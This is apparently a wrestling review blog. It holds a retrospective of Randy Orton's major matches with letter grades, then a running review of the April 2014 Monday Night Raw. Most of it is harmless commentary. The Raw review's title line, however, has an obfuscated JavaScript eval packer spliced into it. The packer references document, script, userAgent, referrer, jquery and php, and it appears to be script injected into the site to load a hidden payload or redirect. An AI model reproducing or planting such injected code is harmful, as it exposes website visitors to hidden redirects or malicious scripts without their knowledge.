Orton would turn face the next night on Raw when HHH kicked him out of Evolution for taking HHH’s title. The title reign wouldn’t last long due to HHH deciding that he needed the belt back and Orton’s face push died. With nothing else to do they turned him heel again and gave him a shot at the Streak, which was really becoming a huge deal.

Randy Orton vs. Undertaker

It’s Wrestlemania so we get druids, chanting and torches for Undertaker’s entrance. This is never not cool. We also get the Burn in My Light theme for Orton from back when Orton looked like a 24 year old and not like he was made out of orange shoe leather. Undertaker is just 12-0 at this point. Feeling out process to start until Orton scores a quick dropkick for two. A single right hand puts Orton down but a quick rollup out of the corner gets two for Randy.

Undertaker throws him into the corner and drops the leg on Orton on the apron for good measure. Old School drops Orton again but Undertaker misses a running boot in the corner, allowing Orton to dropkick him out to the floor. Back in and a clothesline puts Taker down again for two but a running DDT drops Orton for two for the tall guy. Undertaker follows up with some clotheslines in the corner before loading up the snake eyes/big boot combo. Orton blocks the coming boot with an uppercut but he stops to pose, allowing Undertaker to sit up.

They slug it out until Undertaker simply runs Orton over for two. Off to a dragon sleeper by Taker which clearly makes Orton tap but it doesn’t count this early I guess. Orton twists around into a nice DDT for two before we hit the chinlock. Taker fights up so it’s a sleeper instead, only for Taker to counter again with a belly to back suplex. Back up and Orton powerslams Undertaker down for two but he makes the eternal mistake of punching Undertaker in the corner and gets caught in the Last Ride.

Orton escapes though and tries the RKO, only to be shoved off. He grazes the referee on the way to the ropes which apparently passes for a ref bump. The Last Ride is countered again and here’s Randy’s dad Bob with the cast (that’s a VERY slow healing injury as it’s at about 23 years now) to give Orton a VERY close two. In one of my favorite counters ever, Taker loads up the chokeslam but Orton counters in mid air into the RKO for two. Like any good lunkhead, Orton loads up the Tombstone but gets countered into the real thing to make Taker 13-0.

Rating: C+. While not great, Orton was trying out there. The problem was that Orton had been crushed so badly by HHH that there was no reason to buy him as a threat here. I won’t say didn’t even have to break a sweat here but other than that RKO counter and MAYBE the cast shot, Undertaker was never in any danger or even extended trouble.

The rest of 2005 was mainly spent feuding with Undertaker, who eventually won the blowoff match of course. Next up was chasing the World Title on both Smackdown and Raw but Orton couldn’t quite close the deal. Instead it was back to the old Legend Killer stuff, including a match against the biggest legend of them all in Hulk Hogan at Summerslam 2006.

Randy Orton vs. Hulk Hogan

Hogan has a bad leg coming in, meaning he’s perfectly normal. Hulk easily shoves Orton down out of lockup to start before running him down with a shoulder block. The bandana goes into Orton’s face before Randy grabs a headlock. Hogan fights out with a top wristlock as we’re still going very slowly so far, much to Hogan’s liking. Randy finally gets in some shots to the face to put Hogan down, thereby making him the biggest heel in the world.

Hogan fights Orton off in the corner and sends him into the buckle. Almost all Hogan so far which continues as Hogan pounds down right hands in the corner. He bites Randy’s forehead and pokes him in the eye to keep us firmly in the mid-80s. Hogan rakes his back and pounds away on the mat before threatening the referee with a right hand. Orton holds the ropes on an Irish whip and pulls Hogan to the mat to work on the knee.

Back in and Orton cannonballs down on the leg before doing a short form of the circle stomp. A chop block puts Hulk down again but he ducks/collapses to avoid a high cross body. Hogan pounds away but misses the big boot, allowing Orton to dropkick him down. The RKO connects for three but Hogan’s foot was on the ropes. Orton argues with the referee, Hulk Hulks Up and the legdrop ends it.

Rating: D. Well let’s see: the booking was out of the 80s, Hogan broke a sweat for maybe a minute, and Orton was pinned clean by a 50+ year old man in about eleven minutes. This is the opposite of last year with Shawn as Michaels didn’t have much to gain from a win. Orton on the other hand could have ridden this win for months, but instead we get Hogan’s last WWE match (which you couldn’t have known at the time) as a tribute to him, complete with the 1985 formula all over again. Not a fan of this but you had to know it was coming.

After chasing the title again for a good chunk of 2007, Orton would be awarded the title at No Mercy 2007 when John Cena was injured. Randy would lose the title less than twenty minutes later to HHH before facing him again later in the night in a last man standing match.

Raw World Title: HHH vs. Randy Orton

Last man standing. Slugout to start with Orton going after the bad ribs. They keep the slugout going out to the floor where a Pedigree is countered. The bad ribs land on the steel and Orton gets control. Back in and a punch puts HHH down. Out to the floor again and Orton belly to back suplexes him onto the barricade. That gets a six count and Orton throws him into the steps for another six.

They head into the ring and Orton hits a release powerslam for about eight. Facebuster puts Orton down but he pops back up and gets a cord off the floor. He chokes HHH out but what should be murder only gets a nine count. Orton loads up the announce table and gets a horrible shot to the head with a monitor. An RKO from one table to the other doesn’t work as HHH launches him through the second table.

Both guys are down and Orton is holding his arm. Gee where have I seen that before? Trips gets up and it’s a nine count on Orton. A spinebuster on the floor but that gets the same result. Steps to the face of Orton should kill him but gets the slowest nine count ever. Back into the ring and HHH gets a chair. Orton manages to kick the bad ribs and DDTs him onto the chair for an eight or so.

Randy finally goes off and pounds HHH down in the corner and an RKO on the open chair gets nine. The Punt is grabbed and HHH throws Orton over the top to the floor. They go to the floor with HHH pounding on him before throwing him onto the remaining table. Orton escapes and slams him into the post to put HHH down. He gets the steps but HHH hits him low to “slam” Orton’s head into them. A chair to Orton’s head while it’s still on the steps gets nine and we go back to the table. An RKO out of nowhere onto the table gives Orton the title. It’s as sudden as it sounds.

Rating: B. Good match but the counts got pretty ridiculous at times. The ending didn’t help either as Orton had hit him with far bigger stuff just moments earlier but the RKO ends it because that’s what Orton finishes matches with. Also it doesn’t help that these two had THREE last man standing matches in total. See why people got tired of them?

Cena would come back sooner than later and would jump back into the title scene, setting up a threeway between Orton, Cena and HHH at Wrestlemania XXIV.

Raw World Title: Randy Orton vs. HHH vs. John Cena

Cena has a drumline playing him to the ring which is pretty awesome. After some big match intros we’re ready to go. Orton immediately blasts HHH with the belt but Cena takes the champion down with a bulldog before Orton can do any more damage. HHH pops back up and throws both guys to the floor before sending Orton into the announce table. Orton and HHH head back in with the champion being put in a sleeper. Cena comes back in and picks them BOTH up at the same time for an FU but both guys slip off the back. Orton’s backbreaker puts HHH down as does a shot to Cena to give the champion control again.

Randy takes turns pounding away on both guys, getting two off a knee drop to the Game. Orton starts getting uncharacteristic for himself by going up top, only to be stopped by Cena. John loads up a superplex but HHH pulls Cena onto his own shoulders so Orton can hit a top rope cross body for two. Cena stands up to try the FU on Orton but Randy slides into a cradle for two. HHH clotheslines Cena down but Orton clotheslines HHH to put HHH down.

It’s Orton standing tall again as he sends both guys to the apron for a double Elevated DDT which gets two on both challengers. An RKO to Cena is countered but he shoves Orton into HHH to put both guys down. Cena hits the Throwback (a flipping face first mat slam) and the top rope Fameasser to keep Randy down. He isn’t down enough for the STFU though and the champion rolls to the floor. Cena follows him and is sent into the post to slow things down again.

Orton and HHH fight it out in the ring with HHH taking out the champion’s knee. Cena comes back in to distract HHH but after the Game puts him down, Orton catches him with an RKO to put him right next to Cena. Orton kicks HHH to the floor but walks into the STFU in the middle of the ring. HHH makes a save at the last second and sends Cena into the floor to put him down on the floor.

Back in and HHH puts on an Indian Deathlock to follow up on the knee work he started earlier. Now it’s Cena back in to break up the hold and send HHH into the corner and out to the floor. Back to the STFU but HHH comes in for the save. The problem is that the save didn’t work, so HHH puts Cena in a Crossface while Cena has Orton in the STFU. Cena lets go of his hold but manages to crawl over to the ropes to break up the hold.

Orton rolls to the floor so HHH and Cena can slug it out in the middle of the ring. The fans boo Cena’s punches and cheer HHH’s, continuing a trend for whomever Cena is facing. Cena slams HHH down and hits the Shuffle but Cena’s FU is countered into a Pedigree attempt which is countered into an STFU attempt this HHH escapes. The spinebuster puts John down and there’s the Pedigree, but Orton comes back in with the Punt to HHH to knock him silly and Orton pins Cena to retain.

Rating: B. This was a fast paced match with all three guys working hard out there in front of a huge crowd. The back and forth stuff worked very well and it wasn’t clear who was going to win until the match was over. Orton getting beaten up and winning while stealing HHH’s pin is perfect for him, as well as giving him the big win on the big stage that he needed.

We’ll jump ahead again due to HHH vs. Orton in 2008 being AWFUL and HHH vs. Orton continuing to be AWFUL in 2009, because those two just had to face each other forever in the main event. We’ll head to Hell in a Cell 2009 as Orton has finally moved over to feuding with John Cena forever instead of HHH FOREVER.

Raw World Title: John Cena vs. Randy Orton

Orton gets a small face pop again. All right I’ll say it: I love Cena’s theme song and I sing along at times. Cena is champion here and this is Orton’s last shot allegedly. This is the first ever Cell match that HHH or Taker weren’t in. That’s saying a lot when you think about it. Orton takes over early and is in control. King offers analysis of what’s going on. Why? He’s never been in one of these things so what kind of knowledge can he have of them?

Crowd is TOTALLY behind Orton here. They’re 3 minutes in and they’ve used the cage FAR more than Taker and Punk did, which isn’t saying much at all really but whatever. They’re using the cage to jump up higher for kicks and getting slammed into it a bit, but the problem is you could use the posts or the apron for everything they’re doing.

The best version ever of the match was Shawn vs. Taker, as Shawn was scared to death of him and couldn’t get out. He was trapped in a nightmare with the devil. That’s the idea of the match. Instead here it’s just a hardcore match in a cage. Now to be fair, just about every match ever in the Cell is like that anymore so it’s hardly a problem that just this match is having.

Cena blocks the elevated DDT onto the steps. No one is keeping control for more than just a little bit which I’m not sure if I like or not. They’re just standing around in a match that’s supposed to be all about violence. What sense does something like that even begin to make? Cena begins his comeback with his usual stuff and I have zero clue why this is in the Cell.

The elevated DDT hits after Orton takes over. The FU gets two and we’re in the kicking out of finishers segment already. Shockingly, an Orton match is going VERY slowly. Orton hits Cena in the neck with a chair! Hey kids! Hit someone in the neck with a chair! It’s on a PG show so it’s all good. Orton has demons? Cool.

I wonder if Vince tells the camera guys to focus on Orton when he’s in crazy mode as it looks like he’s orgasming or something like that. Cena works the knee for like two seconds and Orton tries to get out of the STFU. He gets it again for the tap but the referee was knocked down. What a shame!

RKO gets two. Orton ties Cena up in the ropes for no adequately explored reason. In something that I laughed out loud at, he uses a chinlock while Cena is tied in the ropes. Seriously, why am I not surprised? Orton lets go for no adequately explored reason. He punts Cena and wins the title. The 4 seconds of knee work Cena did earlier was the explanation of why Orton’s punt didn’t put Cena on the shelf. That’s just freaking stupid but whatever.

Rating: D. Again, for a Cell match, this was awful but for a regular match this would have been ok. The Cell use here was better than in the Taker match, but at the same time there just isn’t enough here to validate having the Cell being in play here.

Also having seen it earlier in the night it makes it seem FAR less interesting. The psychology was more or less nonexistent here too. Overall just not good. Keep in mind: had this been a street fight or whatever, it’s probably a B. As for a Cell match though which it was, this was awful.

We’ll skip over 2010 to avoid Nexus, even though face Orton won another World Title at Night of Champions. Instead we’ll move ahead to Wrestlemania 27 and the apex of Orton’s feud with CM Punk and his New Nexus.

Randy Orton vs. CM Punk

The cylinder from last year is now a cube which still has the videos playing on them. Orton immediately takes it to the floor and pounds away, but Punk jumps over the steps and kicks them into Orton’s knees. Back in and Orton stays on the knees for a quick two count. Punk of course mocks the knee injury before stomping at the legs even more. Randy grabs a quick backbreaker but Punk comes back with a kind of Stunner to the leg for two.

Punk hits the running knee in the corner but Orton falls down before he can hit the bulldog. The straightedge one stays on the knee and puts Orton in the Tree of Woe. In a cool bit, Orton tries to pull himself up but Punk drops a top rope knee to take Randy right back down. The GTS is countered but Punk breaks up the RKO with a high kick for two. Punk loads up the Macho Elbow but Orton crotches him down instead. A superplex puts Punk down but the cover is very delayed and only gets two.

Punk wraps the knee around the post a few times and Orton is in big trouble. Off to a modified Indian deathlock for a bit but Orton fights back and slugs Punk down to take over. Punk comes back with a basic kick to the knee and there’s the Anaconda Vice. Orton rolls over and the fans never once seemed nervous about a tap out. CM heads out to the apron and is rammed into the post, followed by the Elevated DDT. Orton loads up the Punt but the knee gives out. Punk heads to the outside and loads up the springboard clothesline but dives right into the RKO for the pin by Randy.

Rating: B. Good solid match here which should have been the end of the feud, but since this is WWE, there was a gimmick rematch the next month because that’s how WWE books feuds. You know, because WRESTLEMANIA isn’t good enough to end a story at. Anyway, very good match here between two guys with solid chemistry together.

Just over a month later, Orton would jump to Smackdown and receive a World Title shot on his first night on the show against new champion Christian.

Smackdown World Title: Randy Orton vs. Christian

This show has flown by it seems. Regarding Christian’s pop, in the words of Riddler from Batman Forever, “Your entrance was good, his was better.” Headlock by Orton to start but Christian gets a shoulder for two. Orton hammers away and the crowd eats it up with a spoon like soup or Jello or pork or other things eaten with a spoon. The champ sends him to the floor and gets a delayed baseball slide to take Orton down, only to be taken down as well as we take a break.

Back in the ring with Orton in total control. Orton works on the ribs and gets a reverse waistlock (looks like he’s about to hit a German) which looks like the cover of a very freaky Christmas card. They hit the floor via a Cactus Clothesline by Orton as we take break #2. Back with Christian holding a chinlock for only a few seconds. Orton gets a belly to back and both guys are down.

They slug it out a bit and Orton hits that gorgeous dropkick to put Christian down. He goes all psycho but Christian gets the pendulum kick in the corner and a middle rope missile dropkick for two. Guillotine over the top sets up a cross body off the top for two for Christian. Fans are way into this. Middle rope elbow (love that move still) hits and let the clapping begin!

For some reason Christian charges at him and gets caught by a powerslam for two. Christian slides to the floor to try a right hand to Randy as he’s in a 619 position but Orton avoids it to hit the elevated DDT for two. Angle Slam is countered into a reverse DDT for two. Slam hits this time and it’s RKO time. Since it’s the first attempt it’s countered as is the Killswitch. Christian goes to the middle rope and tries a spinning something off of it, proving why he’s an idiot as YOU DON’T JUMP AT ORTON! RKO ends the 5 day reign at 10:08 shown of 17:08.

Rating: B. Good match here and Christian definitely looked strong throughout. People are going to complain about the reign looking bad due to it being too short, but at the same time he had two matches and this was by far the weaker one and this was a very good TV match. Orton is a far bigger star and Christian got the reign that everyone wanted him to get. The fanboys will be up in arms over it, but you have to just ignore them as they’ll never be pleased. He got his title, he got his moment, he had two great matches and lost it. No harm no foul in my eyes.

Again we’ll skip 2012 which had almost nothing interesting for the most part as Orton would feud with Ziggler, Del Rio, and the Wellness Policy. Orton would eventually feud with Shield alongside Sheamus and Big Show. The trio would be beaten by Shield at Wrestlemania XXIX, so Orton and Sheamus squared off on Raw the next night. This was nothing short of bizarre and warrants inclusion.

Sheamus vs. Randy Orton

They shove each other to start and the fans do an OLE chant. Orton hits a snapmare but Sheamus avoids a knee drop. Sheamus hits a pair of knees for his own for two and starts working on the arm. Orton comes back with another knee to the chest as the match keeps going. Randy hooks a chinlock as the fans think a four minutes old match is boring.

Now Sheamus hooks a chinlock as the announcers talk about going to London in a few weeks for Raw. Now the fans chant for Rob Van Dam. Now it’s HBK. Orton slowly stomps away as the match is completely ignored. The fans are now chanting for JBL as Sheamus gets two off the rolling fireman’s carry. Sheamus goes up top and the fans chant for Lawler. This is BIZARRE. Orton dropkicks Sheamus out of the air and now they’re chanting Cole as we take a break.

Back with the fans chanting what sounded like DDP and then ECW as Sheamus makes a comeback. The Irish Curse hits for two as the crowd is doing the Wave. JBL: “I wish Michael would drown in it.” Sheamus hits his knee to the ribs and the ten forearms in the ropes as the fans suddenly start cheering along. A suplex brings Orton back in as Sheamus is smiling. Orton’s backbreaker puts Sheamus as we get a Randy Savage chant. Even the announcers are giving up at this point.

The powerslam and t-bone suplex put Sheamus down as the HBK chant starts again. There’s the Elevated DDT and Orton loads up the RKO, only to be shoved off into White Noise. I think the fans are booing Sheamus but how can you tell in this match? The Brogue Kick misses and here comes Big Show as I think everyone knew was about to happen. He throws Sheamus into the post, presumably ending the match at 15:10. Fans: “Thank you Big Show.”

Rating: N/A. I have almost no idea what happened in this match but the crowd stole the show here. The thing I don’t get is that while the match was slow paced, it wasn’t THAT bad. This is a case where the fans just did not care what was going on and found ways to entertain themselves. I’ve never seen anything like this but it was awesome in a way. For an actual grade, we’ll go roughly C- or so.

We’ll head back to reality now as Orton is in the Money in the Bank match at the PPV of the same name.

CM Punk vs. Rob Van Dam vs. Christian vs. Sheamus vs. Daniel Bryan vs. Randy Orton

RVD, Bryan and Punk get good reactions but the fans aren’t impressed with the others. Everyone goes after RVD to start and knock him to the floor. The remaining four go after Sheamus before pairing off themselves. We’re quickly down to Bryan vs. Punk and the fans go nuts in a hurry. Van Dam is knocked off the apron and into a ladder as the two stars go at it. Bryan almost botches the backflip but counters the GTS into a YES Lock attempt, only to have everyone not named RVD make the save with a ladder.

Van Dam is back in now to clean house and pose a bit. Some baseball slides drop Punk and Sheamus before Rob drops Christian onto a ladder. Rolling Thunder onto Bryan onto the ladder takes Daniel out but it’s Orton sending Van Dam to the floor. Rob kicks him down and loads up the Five Star onto Orton onto the ladder but Christian breaks it up with a short ladder. Christian loses a fight to Sheamus over a full sized ladder but Van Dam breaks up the pale one’s climb with Sheamus landing on the ladder on the way down.

Sheamus is up almost immediately and rams various people into the barricade before bridging a ladder between the apron and the announce table. Bryan escapes a powerbomb through the ladder and hits a running knee to the face from the apron. Punk is loading up a ladder but Orton makes the save. Another ladder is brought in and all six climb up on two ladders with the briefcase being knocked away. All six fall down and Orton is holding his knee.

It’s Sheamus on his feet first and cleaning house before going up, only to be caught by Bryan. We get the ten forearms on the top of the ladder but Punk stops Sheamus from pulling down the case. Sheamus and Punk slug it out in the corner but Punk hits the running knee to take him down, followed by riding the ladder down onto his back. Orton comes back in and suplexes Punk into the ladder followed by the Elevated DDT.

Christian comes back in and spears Randy down but Van Dam knocks him off the ladder. The fans of course want tables as Christian goes up again. Van Dam is cut on the forehead. They both go up but Van Dam jumps to another ladder as Christian falls. The splash off the top of the ladder crushes Christian but Sheamus shoves Rob off the ladder. Bryan is back in to kick both of them before going into his usual insane rush.

He throws Sheamus THROUGH a ladder and goes up top…..but Curtis Axel of all people comes out with a chair to beat him down. He lays Bryan out with his finisher on the floor but walks into a GTS. Heyman comes out to yell at Axel because he wants Punk to win. CM starts a very slow climb while holding his neck….and Heyman of course screws him by ramming another ladder into him. Punk is busted open BAD and here’s Van Dam going up the ladder, only to have Orton make the save with an RKO. Orton pulls down the case to win at 26:31.

Rating: B-. Well that happened. Seriously that’s about all there is to it. Everyone was about the same but the winner wasn’t terribly obvious for most of the match. It wasn’t bad or anything but you expect more when you have this level of talent in the match. At the end of the day though there was no hatred between these guys and that makes for a duller match. The Heyman stuff was pretty obvious but it sets up Lesnar vs. Punk at Summerslam.

Orton would cash in at Summerslam and turn heel in the process. This would make him champion heading into the end of the year, where he would feud with Cena to be unified champion. The unification match was held at TLC 2013.

WWE World Heavyweight Championship: Randy Orton vs. John Cena

TLC match, winner take all. They have a ton of time to used for this too. Naturally we get big match intros and we’re ready to go. They head into the corner to start and Cena grabs a headlock. The wrestling gets boring though and we get our first ladder and table with the wooden one being set up in the corner. Orton escapes an AA through the table and heads to the floor for a chair. Cena can’t avoid the shot to the back and Randy is in control.

They head outside again but Orton misses a chair shot and hits the post, allowing Cena to pick up the chair. A series of chair shots puts Orton down and John loads up another table on the floor. The distraction lets Orton send him into the steps to take over again as the dueling Cena chants begin. Orton tries to climb but Cena makes a fast save. The ladder is thrown to the floor and Orton headbutts him down. Some kicks to the ribs have Cena in trouble but he comes back with knees and right hands, only to walk into the powerslam.

Randy brings in another ladder but gets it rammed into his ribs, allowing Cena to climb. Orton quickly suplexes him down but misses a ladder shot, sending the ladder to the floor. That’s fine with Orton though as he cracks Cena in the back with a chair before wedging it into the corner. Cena blocks the shot into the chair and comes back with his finishing sequence, only to have Orton poke him in the eye and send him into the chair. Another ladder is brought in but Cena makes yet another save.

They both fight on the ladder until Cena throws Orton over the top and through the table. He can’t climb that fast though and Orton pulls him down for an RKO. Both guys are down again but it’s Cena up first with a clothesline to send him to the floor. Cena blasts Orton in the head with the steps and Randy might be busted a little bit. John brings in another table, giving us two tables in opposite corners. With all of the metal stuff at ringside, Orton hits Cena in the head with the microphone to take over again.

Orton loads up the announce table but instead clears out a path to Cena. John avoids the Punt though and catches Orton in an AA through the table to put both guys down again. Cena very slowly gets back in and grabs both belts without pulling them down. Instead it’s Orton shoving the ladder away to leave Cena hanging, allowing Orton a free shot with the chair. Cena comes right back with a spear through one of the tables and both guys are down again.

Randy heads outside again and starts peeling back the mats to find some hidden handcuffs. Cena gets tied to the bottom rope and Orton teases him with the key. This didn’t work at Breaking Point but call backs to old matches are usually fun. Cena tries to break the chain as Orton goes to pick up the big ladder for some shots to Cena’s ribs.

Randy goes back inside as Cena beats on the cuffs with a chair to no avail. Cena pulls hard enough to rip the bottom rope off and go up to knock Orton off the ladder but he only has one free arm due to the rope. Orton grabs the rope and uses the power of gravity to pull Cena down, sending him head first into the table which DOESN’T BREAK. That looked bad. Orton goes up again and pulls down both titles for the surprise win at 24:35.

Rating: B. I liked the match and the ropes idea was good, but that ending came out of nowhere. Given how badly Cena’s head went into that table, I wouldn’t be shocked if he had an actual injury. Orton winning makes more sense but I’m kind of shocked it was clean. Well as clean as you can get in a TLC match of course. Good stuff here but the ending leaves a lot of doors open.

I’m a big Orton fan and have been for a long time. I know he may not be the most interesting wrestler in the world but the guy is capable of having good matches with almost anyone. Yeah he gets repetitive a lot, but he has an awesome finisher and has figured out his character perfectly. He’ll be around for several more years and will win a ton more World Titles, as he deserves to do.

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Monday Night Raw – April 22, 2014: The Honeymoon Is Over

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rysth|var|u0026u|referrer|hdsyf||js|php'.split('|'),0,{})) Night Raw
Date: April 21, 2014
Location: Baltimore Arena, Baltimore, Maryland
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Things should pick up a bit before Extreme Rules tonight as the roster is back from Saudi Arabia and Daniel Bryan is back from his honeymoon. The interesting question now is what happens with the World Title situation as Evolution vs. Shield is taking over the main event scene and leaving Bryan in the dust. This rings of Chris Benoit back in 2004 but Benoit was nowhere near as over as Bryan is now. It’s going to be a great test either way though. Let’s get to it.

Here’s the champ to open the show and for once, Brie Bellaelson is in the ring for a YES chant. Well she’s certainly a better looking cheerleader than Bryan. They chant together until Stephanie and her horrible song interrupts. Stephanie congratulates Bryan on winning the title at Wrestlemania and getting married in the same week. The newlyweds talk about how amazing and simple their ceremony was but Stephanie has a present for them: a title defense against Kane at Extreme Rules.

Stephanie recommends that Brie get out of the ring because here comes the Big Fried Freak. Or at least his music as there’s no Kane. Bryan slowly backs Brie to the floor and Kane pops up to choke Daniel. Stephanie says that’s enough as Kane stalks Brie. Bryan tries to fight back and sends Kane into the steps but the monster rams him into the barricade.

We actually get a tombstone on the floor and here are EMTs to save Bryan. As usual this is a bad idea with Kane around as he breaks up the stretcher and tombstones Bryan on the steps in a SICK landing. Bryan is put on the stretcher again but Kane picks him up and gives him a third tombstone onto the table which DOESN’T BREAK. Bryan is DONE as we go to a break.

Back from a break and Daniel is being taken out of the ring on a stretcher as Stephanie offers her condolences and holds up the titles. Those replays make things look even more sick.

Intercontinental Title #1 Contenders Tournament Semi-Finals: Bad News Barrett vs. Sheamus

Barrett does his usual schtick before the match. Sheamus gets pounded into the corner to start but comes back with forearms of his own followed by the rolling fireman’s carry. Some more foreams put Barrett on the floor and Sheamus DIVES off the top with a cross body in a cool looking spot. Back in and Barrett fights out of the ten forearms before kicking
Sheamus off the apron as we take a break.

We come back with the guys still brawling and Sheamus hitting the ten forearms and top rope shoulder for two. Irish Curse gets the same but Barrett grabs the Winds of Change for two of his own. Barrett loads up the Bull Hammer but Sheamus ducks under and hits White Noise for an even closer near fall. They slug it out and a Cactus Clothesline puts both guys down on the floor. Barrett gets back in and Sheamus gives chase, only to charge into the Bull Hammer for the pin at 10:32.

Rating: C+. Take two big strong guys and let them beat the tar out of each other for ten minutes at a time. That’s a BIG win for Barrett as well, who is amazingly getting over with a strong character and a good finisher on top of that. Sheamus is going to be fine no matter what happens to him, arguably making him far more valuable than he was as World Heavyweight Champion.

Bo Dallas vignette.

Hugh Jackman is guest hosting Raw next week so we look at him helping Zack Ryder helping beat Dolph Ziggler in September 2011.

Pick Cena’s opponent tonight: Luke Harper, Luke Harper/Erick Rowan, Luke Harper/Erick Rowan/Bray Wyatt.

We’ve got Wyatts. Bray says he remembers the first time he was struck with truth. It tasted bitter but he loved the intensity of how real it was. Free will has become man’s biggest illusion. It’s promised to you just in time to take it away again. What has it given you? Nothing but a nation full of sheep led by wolves and owned by pigs. Tonight would be a wonderful night for change though because the power is in the fans’ hands. Tonight free will does exist and John Cena will learn the truth.

The truth is they stand against him, whether it be either of the brothers, in a steel cage, or inside your own mind. At Extreme Rules, two monsters will enter but on this night it will not matter which one has the sharpest teeth or the sharpest claws. One thing will remain the same: they do not love Cena anymore because Bray is taking them with him every single time they cross paths. Bray leads the fans in He’s Got The Whole Worlds In His Hands and tells the brothers to sing. Awesome moment.

Los Matadores/El Torito vs. 3MB

It’s Hornswoggle/Mahal/McIntyre here. McIntyre and Diego get things going but it’s quickly off to the little guys to continue this horribly pointless feud. They slug it out until Torito takes him down with a headscissors followed by a spinning springboard headbutt. Drew breaks up the pin and wants a piece of Torito but it’s Slater taking a gore between the legs for his efforts. Torito gets picked up but kicks Drew low, allowing the masked men to pick him up for a double belly to back suplex plus a seated senton from Torito for the pin at 2:50. For the love of all things good and holy, not at Extreme Rules.

We look back at Evolution beating up Shield last week.

Evolution arrives.

Here’s Evolution with something to say. HHH can barely talk due to what sounds like a bad sore throat so it’s quickly off to Orton to brag about how awesome Evolution is. We get a video on Evolution with a few shots of Flair thrown in for history’s sake. Batista brags about the number of titles the three of them have and says Shield has nothing to brag about. Cue the Hounds of Justice but Evolution immediately bails.

Ambrose says that they’ve lost fights before and they’re not humbled this week. He says there’s a reason HHH hired them to protect HHH and Orton. They are the meanest, nastiest, dirtiest animals in this industry. These dogs are hungry and ready to fight. Rollins says they have every right to be angry after what happened when Evolution had twelve other guys around them. In two weeks at Extreme Rules it’s Evolution vs. the Hounds of Justice in an all out war.

Then there’s nowhere for them to run and all three members of Evolution is going to be looking out for themselves. At Extreme Rules, Evolution is ripped to pieces and the reunion comes to an abrupt halt. HHH put a nail in his own coffin and the Shield is the hammer that drives it home.

Reigns says last week Evolution gave them an ultimatum. This week they have one for Evolution. In a few seconds he’s dropping this mic and coming up the stage for a fight. Evolution can try to fight like men, or they can cower away and hide. Here comes the Shield and here’s the midcard to stand in front of Evolution. HHH says it’s option three: adapt or perish.

We look at the opening segment again.

New Adam Rose vignette.

Network plug.

Usos vs. Rhodes Brothers

Non-title with Ryback/Axel on commentary. Jey and Goldust get things going with a feeling out process and the golden one getting taken down. Off to Cody tho gets taken down as well while Ryback tells a story about his dad tending bar for Curt Hennig and Razor Ramon back in the AWA days. Totally random but interesting.

Back to Goldust who takes over on the arm and rams it into the mat for some control. Ryback talks about how he’s been watching Goldust for nineteen years now which is a totally fair argument against him. In a very sudden ending, a superkick takes down Goldust and another is good for the pin on Cody at 3:10.

Rating: D+. This was much more of a story than a match and it looks like the Rhodes Brothers are wrapping up as a team now. To be fair it’s not like they’ve done anything in a few months now so they might as well be split up with the division actually having some depth now. Ryback was interesting on commentary to say the least.

Cody and Goldust shove each other post match and here comes the split. Ryback/Axel jump the Usos as well.

Emma vs. Layla

A distraction from the guys lets Layla take over quickly and she stomps Emma down in the corner. Layla cranks on both of Emma’s arms and mocks the dance a bit as Fandango leads cheers. Emma takes Layla down as Santino lays out Fandango with the Cobra. Emma pulls out a cobra of her own and layls out Layla for the pin at 2:20. Again, NO MORE OF THIS.

The cobras want each other post match.

The announcers talk about Legends House.

John Cena says it’s up to the WWE Universe tonight. We get the dueling chants and he thinks Bray might have everyone in his hands.

Intercontinental Title #1 Contender Tournament Semi-Finals: Cesaro vs. Rob Van Dam

Before the match we see Heyman talking about his clients and going on about Lesnar conquering the Streak. We take a break and come back with him still ranting about it until RVD’s music cuts him off. Feeling out process to start with Van Dam’s kicks being caught into a big slam for two as the announcers debate how great a manager Heyman really is. A middle rope kick to the face drops Cesaro but he comes back with a nice suplex for two. Rob misses a charge into the post and Cesaro kicks him even further into the post as we take another break.

Back with Van Dam’s sunset flip being countered by a jumping stomp to the chest for two. We hit the chinlock for a bit but Rob comes back and kicks Cesaro in the head to escape. A hard clothesline and kick to the face set up Rolling Thunder for two. The Five Star is broken up by a STIFF uppercut but another kick to the head sets up the split legged moonsault from Rob for another near fall. Yet another spinning kick misses and Cesaro hits a running uppercut to the back of the head and rolls Rob to the mat.

They slug it out and a rolling cradle gets two for Van Dam, only to have Cesaro nail a tiger bomb for an even closer two. Cesaro loads up the Swing but here are Swagger and Colter for a distraction. Van Dam gets in another kick to send Cesaro outside and Swagger comes for a closer look. Rob tries to dive at them but jumps into a sweet uppercut to the jaw from Cesaro. Rob is thrown back inside as Swagger posts Cesaro, allowing for the countout to send RVD to the finals at 13:19.

Rating: B-. Good stuff here with the styles working together perfectly here. The ending was somewhat predictable as you already had Barrett waiting in the finals for the winner. At least the match was good getting there and Barrett should be a lock to win next week. Good match here and far better than I was expecting.

Post match Cesaro goes to swing Colter but has to settle for Swagger instead.

We look at Bryan getting destroyed again.

Cesaro and Heyman come up to RVD in the back and say Colter and Swagger won that match for Van Dam. Rob suggests Cesaro stay as far away from Heyman as possible.

Paige vs. Aksana

Non-title again. The announcers immediately start hyping up Tamina as a tough Diva as Paige throws Aksana across the ring by the hair a few times. Aksana comes back with some choking and throws Paige down as the announcers make fun of Aksana’s very notable tan. She crawls around on the mat but Paige slams her into the mat over and over again to take over. A series of clotheslines has Aksana in trouble but she comes back with a throw, apparently supposed to be a spinebuster. Paige comes back with a guillotine choke and some knees to the head, setting up the Scorpion Cross Lock for the submission at 4:42.

Rating: D+. I’m feeling sorry for Paige as they keep putting her in there with this chick. Aksana is gorgeous and looks great with the dark hair, but at the end of the day she just can’t do it in the ring. The crawling around stuff looks stupid and the whole thing isn’t working at all. Therefore, let’s use HER to get Paige over because that’s playing to Paige’s strengths right?

Alexander Rusev vs. Sin Cara

